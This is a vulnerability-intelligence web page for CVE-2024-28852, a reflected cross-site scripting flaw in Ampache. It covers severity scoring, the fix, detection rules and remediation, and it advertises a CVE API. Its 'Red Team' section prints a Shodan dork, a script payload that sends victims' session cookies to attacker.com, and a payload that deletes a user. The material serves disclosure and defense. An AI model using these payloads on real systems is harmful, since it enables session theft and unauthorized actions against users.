☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-28852

CVE-2024-28852 Cross-Site Scripting in Ampache
📅 PUBLISHED: 2024-03-27 13:18 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
12.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-28852 is a reflective Cross-Site Scripting (XSS) vulnerability in Ampache, a web-based audio/video streaming application and file manager. The vulnerability exists because the application fails to properly sanitize the $rule variable used in multiple forms, such as when querying a song or podcast. An attacker can craft a malicious URL containing JavaScript payloads in the rule parameter, which, when visited by an authenticated user, will execute in the context of the victim's session. This can lead to session hijacking, credential theft, or unauthorized actions. The vulnerability is fixed in version 6.3.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Ampache is a PHP-based application. The vulnerability is not in a third-party package but in the core application logic. However, administrators should ensure that their PHP environment and any dependencies (e.g., MySQL/MariaDB, web server) are up-to-date to prevent secondary attacks.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed (impact may extend to other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking make it a significant risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic reflective XSS. The $rule variable is used in various search and query forms within Ampache. When a user submits a search, the value of $rule is reflected back in the response without proper encoding or sanitization. An attacker can inject arbitrary HTML and JavaScript by crafting a URL like:

https://target-ampache-instance/search.php?rule=<script>alert('XSS')</script>

When a victim visits this URL, the script executes in their browser. The vulnerability is present in all forms that use the $rule variable, including but not limited to song search, podcast search, and user management.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.3.1):

// In search.php or similar
$rule = $_GET['rule'];
echo "Search results for: " . $rule;

Patched Code (6.3.1):

// Properly sanitize output
$rule = htmlspecialchars($_GET['rule'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $rule;

The fix uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

  1. Identify an Ampache instance (e.g., via Shodan dork http.title:"Ampache").
  2. Craft a malicious URL:
    http://target/search.php?rule=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
    
  3. Send the link to an authenticated user via phishing or social engineering.
  4. When the user clicks the link, their session cookie is sent to the attacker's server.

Advanced Payload:

<script>
fetch('/api/stream.php?action=delete_user&user_id=1');
</script>

Blue Team

Detection:

  • Monitor web server logs for requests containing <script> or onerror= in the rule parameter.
  • Use WAF rules to block requests with suspicious patterns in query strings.

Honeypot:

  • Deploy a fake Ampache instance and monitor for XSS probes.

Indicators of Compromise (IOCs)

  • Network: HTTP requests with rule= parameter containing <script>, onerror, alert(, or other JavaScript event handlers.
  • Logs: Web server access logs showing GET /search.php?rule=<script>... patterns.
  • File: No specific file-based IOCs; the attack is purely in-memory via reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2024_28852_Ampache_XSS {
    meta:
        description = "Detects Ampache reflective XSS attempts in web logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28852"
    strings:
        $xss1 = /rule=<script[^>]*>/
        $xss2 = /rule=.*onerror=/
        $xss3 = /rule=.*alert\(/
    condition:
        any of them
}

Sigma Rule

title: Ampache Reflective XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-28852 in Ampache
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'rule='
        cs-uri-query|re: '(?i)<script|onerror|alert\('
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28852 Ampache Reflective XSS Attempt"; flow:to_server,established; content:"rule="; http_uri; pcre:"/(?i)<script|onerror|alert\(/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade to Ampache version 6.3.1 or later.
  2. Workaround: If upgrade is not possible, implement a WAF rule to block rule= parameters containing <script> or other HTML tags.
  3. Long-term: Ensure all user input is properly sanitized using htmlspecialchars() or similar functions before reflection.
  4. Monitoring: Enable logging and alerting for suspicious query strings.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-28852/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.